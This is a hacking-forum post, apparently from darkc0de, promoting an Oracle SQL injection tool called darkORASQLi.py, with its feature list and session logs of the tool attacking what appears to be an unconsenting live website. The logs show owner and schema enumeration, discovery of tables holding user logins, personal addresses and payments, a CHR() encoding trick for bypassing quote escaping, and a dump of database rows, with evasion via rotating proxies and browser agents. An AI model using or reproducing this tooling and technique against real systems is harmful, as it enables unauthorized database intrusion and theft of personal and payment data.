as posted at
http://forum.darkc0de.com/index.php?action=vthread&forum=8&topic=11271hai guys.. during free time, im continuing this project and here some snapshot
#!/usr/bin/python
# 07/11/09 d3ck4, hacking.expose@gmail.com
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
################################################################
# Multi-Purpose Oracle SQL Injection Tool
# FUNCTIONS
# *error base using utl_inaddr.get_host_address() function method (default method n happy with it!)
# *refer: http://www.red-database-security.com/whitepaper/oracle_sql_injection_web.html
# *full/current/owner base schema enumeration
# *table and column dump
# *database list extractor
# *owners enumeration
# *general info gathering
# UPCOMING (contribution is most welcome!)
# *auto encode to CHR() to bypass quote escaping in where clause statement
# *blind injection support
# *load file and copy to
# *shell exec
# *--update / --drop / --create / etc..
# FEATURES
# *Round Robin Proxy w/ a proxy list (non-auth or auth proxies)
# *Proxy Auth (works great with Squid w/ basic auth)
# *Random browser agent chosen everytime the script runs
# *debug mode for seeing every URL request, proxy used, browser agent used
# darkc0de Crew
# www.darkc0de.com
# d3ck4, hacking.expose[at]gmail[dot]com
# big credit goes to rsauron, rsauron@gmail.com.
# for the beautiful c0de of darkMySQLi & darkMSSQLi
# d3hydr8 and all the darkc0de cr3w
# Share the c0de!
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156" --info
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156
[+] 22:16:34
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: CBCPR2.[somevulnsite].ORG
User: WATCHLIST
Version: Oracle9i Enterprise Edition Release 9.2.0.6.0 - 64bit Production
[+] Do we have Access to Oracle Database: NO
[-] Oracle user:password enumeration has been skipped!
[-] We do not have access to Oracle DB on this target!
[-] 22:16:37
[-] Total URL Requests: 3
[-] Done
Don't forget to check darkORASQLi.log
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156" --dbs
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156
[+] 22:16:49
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: CBCPR2.[somevulnsite].ORG
User: WATCHLIST
Version: Oracle9i Enterprise Edition Release 9.2.0.6.0 - 64bit Production
[+] Showing all databases current user has access too!
[+] Number of Databases: 1
[1] CBCPR2.[somevulnsite].ORG
[-] 22:16:54
[-] Total URL Requests: 4
[-] Done
Don't forget to check darkORASQLi.log
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156" --owner
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 5/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156
[+] 22:17:00
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Microsoft Internet Explorer/4.0b1 (Windows 95)
[+] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: CBCPR2.[somevulnsite].ORG
User: WATCHLIST
Version: Oracle9i Enterprise Edition Release 9.2.0.6.0 - 64bit Production
[+] Showing all owners in current database
[+] Number of Owners: 15
[1] RTM
[2] LINXSQL
[3] REBEYOND
[4] DBSNMP
[5] OUTLN
[6] PAY_APP
[7] WATERBIRD
[8] IBA_REPORT
[9] WATCHLIST
[10] IBA_APP
[11] PAYMENT
[12] CBC_APP
[13] APP
[14] SYSTEM
[15] SYS
[-] [22:17:19]
[-] Total URL Requests: 18
[-] Done
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156" --schema
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156
[+] 22:17:33
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: CBCPR2.[somevulnsite].ORG
User: WATCHLIST
Version: Oracle9i Enterprise Edition Release 9.2.0.6.0 - 64bit Production
[+] Showing Tables & Columns from current user
[+] Number of Tables: 68
[1] WL_ALERTS: ALERT_ID,ALERT
[2] WL_CATS: CAT_ID,CAT_TITLE,CAT_ORDER
[3] WL_GEO_RANGES: RANGE_ID,RANGE
[4] WL_SPECIES: SPECIES_CODE,COM_NAME,SCI_NAME,COM_NAME_UC,SCI_NAME_UC,TAXON_CODE,COUNTABLE,BOLD,IN_USE,DISPLAY_GROUP,SP,COM_NAME_ALT,ACT
IVE,SCI_NAME_ALT,SORT_AOU,SORT_ABA,SORT_SIBLEY,SORT_THAYER,SORT_CBC,SORT_CBC_ALT1,SORT_CBC_ALT2,COM_NAME_FR,SPECIES_ID
[5] WL_WATCHLIST: WL_ID,ALERT_ID,SPECIES_ID,CAT_ID,RANGE_ID,SPECIES_CODE,POPULATION,IMAGE,PHOTOG_NAME,SUMMARY,IDENT,DIST,MAP,ECOLOGY,THRE
ATS,CONSERV,TODO,REFS,INCOMPLETE
[6] WL_WATCHLIST_BK0920: TODO,POPULATION,REFS,SUMMARY,RANGE_ID,SPECIES_CODE,MAP,ALERT_ID,SPECIES_ID,THREATS,CONSERV,PHOTOG_NAME,WL_ID,CAT
_ID,IMAGE,INCOMPLETE,ECOLOGY,DIST,IDENT
[-] 22:18:52
[-] Total URL Requests: 72
[-] Done
Don't forget to check darkORASQLi.log
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156" --schema -S all
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156
[+] 22:21:30
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Microsoft Internet Explorer/4.0b1 (Windows 95)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: CBCPR2.[somevulnsite].ORG
User: WATCHLIST
Version: Oracle9i Enterprise Edition Release 9.2.0.6.0 - 64bit Production
[+] Showing Tables & Columns from all users schema
[+] Number of Tables: 26520
[Owner]: SYS
[Table: Columns]
[1] TAB$: BOBJ,CLUCOLS,CHNCNT,PROPERTY,SPARE3
[2] CLU$: PCTFREE$,MAXTRANS,FUNC
[3] UET$: FILE
[4] SEG$: FILE,EXTSIZE,GROUPS
[5] UNDO$: UGRP,KEEP
[6] TS$: TS,PLUGGED,AFFSTRENGTH
[7] OBJ$: DATAOBJ
[8] IND$: DISTKEY,LBLKKEY,ANALYZETIME,ROWCNT
[9] ICOL$: OBJ,OFFSET,SPARE1
[10] COL$: FIXEDSTORAGE,PROPERTY
[11] USER$: USER,PASSWORD,PTIME,EXPTIME,RESOURCE$,DEFSCHCLASS
[12] PROXY_ROLE_DATA$: ROLE
[13] CON$: OWNER
[14] CDEF$: OBJ,RCON
[Owner]: CBC_APP
[Table: Columns]
[15] CBC_AUX_LOC: LOC_ID,N_LATITUDE_PUB,IRREGULAR
[16] CBC_AUX_RARE_BIRD: OBS_ID
angryleopard:darkc0de d3ck4$ python pg_encode.py PAY_APP
CHR(80)||CHR(65)||CHR(89)||CHR(95)||CHR(65)||CHR(80)||CHR(80)||CHR(10)
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156" --schema -S "CHR(65)||CHR(80)||C
HR(80)"
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156
[+] 22:42:23
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Microsoft Internet Explorer/4.0b1 (Windows 95)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: CBCPR2.[somevulnsite].ORG
User: WATCHLIST
Version: Oracle9i Enterprise Edition Release 9.2.0.6.0 - 64bit Production
[+] Showing Tables & Columns from user "CHR(65)||CHR(80)||CHR(80)" schema
[+] Number of Tables: 122
[Owner]: APP
[Table: Columns]
[1] PAYMENTS: DONATION,METHOD,AMOUNT,PROJ_ID,PAYMENT_DATE,PAYMENT_ID,USER_ID,COUNT_YR,AUTH_CODE,LOC_ID,NUM_UNITS,PAY_ID
[2] PAYMENTS_GHBAK: DONATION,METHOD,AMOUNT,PROJ_ID,PAYMENT_DATE,PAYMENT_ID,USER_ID,COUNT_YR,AUTH_CODE,LOC_ID,NUM_UNITS
[3] PLAN_TABLE: STATEMENT_ID,TIMESTAMP,REMARKS,OPERATION,OPTIONS,OBJECT_NODE,OBJECT_OWNER,OBJECT_NAME,OBJECT_INSTANCE,OBJECT_TYPE,OPTIMIZ
ER,SEARCH_COLUMNS,ID,PARENT_ID,POSITION,COST,CARDINALITY,BYTES,OTHER_TAG,PARTITION_START,PARTITION_STOP,PARTITION_ID,DISTRIBUTION
[4] PROJECTS: PROJ_ID,URL,DESCRIPTION,P_NAME,OPEN
[5] ROLES: ROLE_DESC,ROLE,ROLE_ID,PROJECT_ID
[6] USERS: HOME_PHONE,EMAIL,ZIP_CODE,STATE,CITY,ADDRESS,LAST_NAME,FIRST_NAME,LAST_UPDATE,CREAT_DATE,ADDRESS_2,USER_ID,COUNTRY,PRIMARY,OPT
_IN,ORGANIZATION,TITLE
[7] USER_CIRCLE_HUMA: FIRST_NAME,LAST_NAME,EMAIL,ABBREV
[8] USER_LOGIN: PASS,LOGIN,USER_ID,LAST_LOGIN
[9] USER_ROLE: USER_ROLE_ID,USER_ID,ROLE_ID,SCOPE_TYPE,SCOPE_VALUE,EXPIRE_DATE
[10] USER_CIRCLE_CBC106: ROLE_ID,LOC_ID,USER_ID,ID,COUNT_YR
[11] USER_CIRCLE_BAK: ROLE_ID,LOC_ID,USER_ID,ID,COUNT_YR
[12] USER_REGION_BAK: ID,USER_ID,REGION_CODE,ROLE_ID
[13] PROJECT_USER_BAK: ROLE_ID,PROJ_ID,USER_ID
[14] USER_ROLE_BAK: USER_ROLE_ID,USER_ID,ROLE_ID,SCOPE_TYPE,SCOPE_VALUE,EXPIRE_DATE
[15] PAYMENTS_BK: DONATION,METHOD,AMOUNT,PROJ_ID,PAYMENT_DATE,PAYMENT_ID,USER_ID,COUNT_YR,AUTH_CODE,LOC_ID,NUM_UNITS,PAY_ID
[16] PLAN_TABLE: OTHER
[-] 22:44:38
[-] Total URL Requests: 126
[-] Done
Don't forget to check darkORASQLi.log
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156" --dump -T USER_LOGIN -C USER_ID,
LOGIN,PASS
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156
[+] 22:46:31
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Opera/8.00 (Windows NT 5.1; U; en)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: CBCPR2.[somevulnsite].ORG
User: WATCHLIST
Version: Oracle9i Enterprise Edition Release 9.2.0.6.0 - 64bit Production
[+] Dumping data from current database and Table "USER_LOGIN"
[+] and Column(s) ['USER_ID', 'LOGIN', 'PASS']
Seems like we dont have permission to view that table or it never exist!
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156" --dump -T WL_SPECIES -C SPECIES_
CODE,COM_NAME,SCI_NAME,COM_NAME_UC,SCI_NAME_UC,TAXON_CODE
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: http://[somevulnsite]/watchlist/viewSpecies.jsp?id=156
[+] 22:49:04
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Microsoft Internet Explorer/4.0b1 (Windows 95)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: CBCPR2.[somevulnsite].ORG
User: WATCHLIST
Version: Oracle9i Enterprise Edition Release 9.2.0.6.0 - 64bit Production
[+] Dumping data from current database and Table "WL_SPECIES"
[+] and Column(s) ['SPECIES_CODE', 'COM_NAME', 'SCI_NAME', 'COM_NAME_UC', 'SCI_NAME_UC', 'TAXON_CODE']
[+] Number of Rows: 11756
[1] estspa:Eastern Sharp-tailed Sparrow:Ammodramus caudacutus:EASTERN SHARP-TAILED SPARROW:AMMODRAMUS CAUDACUTUS:
[2] eucdov:Eurasian Collared-Dove:Streptopelia decaocto:EURASIAN COLLARED-DOVE:STREPTOPELIA DECAOCTO:12020020200:
[3] eucmer:(European) Common Merganser:Mergus merganser:(EUROPEAN) COMMON MERGANSER:MERGUS MERGANSER:07012160101:
[4] eugplo:European Golden-Plover:Pluvialis apricaria:EUROPEAN GOLDEN-PLOVER:PLUVIALIS APRICARIA:11022010200:
[5] euhspa:European House Sparrow:Passer domesticus:EUROPEAN HOUSE SPARROW:PASSER DOMESTICUS:
[6] eulgul:European Little Gull:Larus minutus:EUROPEAN LITTLE GULL:LARUS MINUTUS:11082010301:
[7] euphag:Euphagus sp.:Euphagus:EUPHAGUS SP.:EUPHAGUS:21246059999:
[8] eurbla:Eurasian Blackbird:Turdus merula:EURASIAN BLACKBIRD:TURDUS MERULA:21134100100:
[9] eurbul:Eurasian Bullfinch:Pyrrhula pyrrhula:EURASIAN BULLFINCH:PYRRHULA PYRRHULA:21252070100:
[10] eurcoo:Eurasian Coot:Fulica atra:EURASIAN COOT:FULICA ATRA:10011110100:
[11] eurcor:European Cormorant:Phalacrocorax carbo:EUROPEAN CORMORANT:PHALACROCORAX CARBO:
[12] eurcur:Eurasian Curlew:Numenius arquata:EURASIAN CURLEW:NUMENIUS ARQUATA:11071070700:
[13] eurgol:European Goldfinch:Carduelis carduelis:EUROPEAN GOLDFINCH:CARDUELIS CARDUELIS:21252050800:
[14] eurhob:Eurasian Hobby:Falco subbuteo:EURASIAN HOBBY:FALCO SUBBUTEO:08030020500:
40% to go.. till then.. keep r0x darkc0de!